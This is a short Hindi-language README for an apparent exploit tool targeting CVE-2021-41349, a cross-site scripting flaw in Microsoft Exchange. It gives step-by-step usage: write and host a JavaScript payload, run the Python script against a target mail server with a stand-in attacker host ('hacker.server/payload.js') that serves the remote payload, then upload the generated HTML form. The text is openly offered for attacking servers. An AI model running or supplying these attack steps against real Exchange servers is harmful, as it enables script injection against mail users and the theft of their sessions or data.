Microsoft Exchange एक्सप्लॉइट CVE-2021-41349

एक्सप्लॉइटिंग: CVE-2021-41349 यह एक्सप्लॉइटिंग टूल लक्षित Exchange सर्वर पर XSS पेलोड पोस्ट करने के लिए एक फॉर्म बनाता है। आपको अपनी इच्छा के अनुसार एक js बनाना होगा।

उपयोग

1. अपना js पेलोड बनाएं और इसे कहीं अपलोड करें।
2. CVE-2021-41349.py को निम्नलिखित चरणों के अनुसार चलाएं।

python3 CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html

या:

./CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html

3. html फ़ाइल को सर्वर पर अपलोड करें।
4. हो गया! इसका परीक्षण करें!

श्रेय